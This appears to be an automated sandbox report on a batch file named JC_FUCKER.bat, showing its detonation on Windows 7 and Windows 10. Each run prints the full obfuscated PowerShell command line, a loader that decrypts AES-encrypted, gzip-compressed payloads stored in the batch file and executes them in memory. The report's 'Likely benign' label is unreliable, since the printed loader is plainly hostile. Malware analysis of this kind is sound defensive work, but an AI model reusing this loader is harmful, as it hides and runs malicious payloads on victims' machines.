Analysis Overview
SHA256
2f10b92e2eb2603d9a175de8612e0a019de6120a08e9692fb257d6762fcb9d5b
Threat Level: Likely benign
The file JC_FUCKER.bat was found to be: Likely benign.
Malicious Activity Summary
Command and Scripting Interpreter: PowerShell
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-12 22:05
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-12 22:05
Reported
2024-06-12 22:07
Platform
win7-20240508-en
Max time kernel
44s
Max time network
19s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1936 wrote to memory of 1756 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1936 wrote to memory of 1756 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1936 wrote to memory of 1756 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5AmTdD8faRft+SqfDPSFc9Rvu/tk70svhnIX8ES+G4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xEm8WGDhNqD+yqx3I6F6VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YCDLx=New-Object System.IO.MemoryStream(,$param_var); $hdstP=New-Object System.IO.MemoryStream; $KDiDZ=New-Object System.IO.Compression.GZipStream($YCDLx, [IO.Compression.CompressionMode]::Decompress); $KDiDZ.CopyTo($hdstP); $KDiDZ.Dispose(); $YCDLx.Dispose(); $hdstP.Dispose(); $hdstP.ToArray();}function execute_function($param_var,$param2_var){ $lUoiF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MXsDF=$lUoiF.EntryPoint; $MXsDF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat';$TbpgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat').Split([Environment]::NewLine);foreach ($WBZwa in $TbpgT) { if ($WBZwa.StartsWith(':: ')) { $WWajZ=$WBZwa.Substring(3); break; }}$payloads_var=[string[]]$WWajZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/1756-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp
memory/1756-5-0x000000001B790000-0x000000001BA72000-memory.dmp
memory/1756-6-0x00000000023A0000-0x00000000023A8000-memory.dmp
memory/1756-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp
memory/1756-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp
memory/1756-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp
memory/1756-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp
memory/1756-12-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp
memory/1756-11-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-12 22:05
Reported
2024-06-12 22:08
Platform
win10v2004-20240508-en
Max time kernel
51s
Max time network
54s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2972 wrote to memory of 2448 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2972 wrote to memory of 2448 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5AmTdD8faRft+SqfDPSFc9Rvu/tk70svhnIX8ES+G4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xEm8WGDhNqD+yqx3I6F6VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YCDLx=New-Object System.IO.MemoryStream(,$param_var); $hdstP=New-Object System.IO.MemoryStream; $KDiDZ=New-Object System.IO.Compression.GZipStream($YCDLx, [IO.Compression.CompressionMode]::Decompress); $KDiDZ.CopyTo($hdstP); $KDiDZ.Dispose(); $YCDLx.Dispose(); $hdstP.Dispose(); $hdstP.ToArray();}function execute_function($param_var,$param2_var){ $lUoiF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MXsDF=$lUoiF.EntryPoint; $MXsDF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat';$TbpgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat').Split([Environment]::NewLine);foreach ($WBZwa in $TbpgT) { if ($WBZwa.StartsWith(':: ')) { $WWajZ=$WBZwa.Substring(3); break; }}$payloads_var=[string[]]$WWajZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
Files
memory/2448-0-0x00007FFC0AB83000-0x00007FFC0AB85000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v1cnm3on.rnq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2448-10-0x000002075CD90000-0x000002075CDB2000-memory.dmp
memory/2448-11-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp
memory/2448-12-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp
memory/2448-13-0x0000020740DB0000-0x0000020740DB8000-memory.dmp
memory/2448-14-0x000002077D780000-0x000002077DE96000-memory.dmp
memory/2448-15-0x000002075D160000-0x000002075E160000-memory.dmp
memory/2448-16-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp
memory/2448-19-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp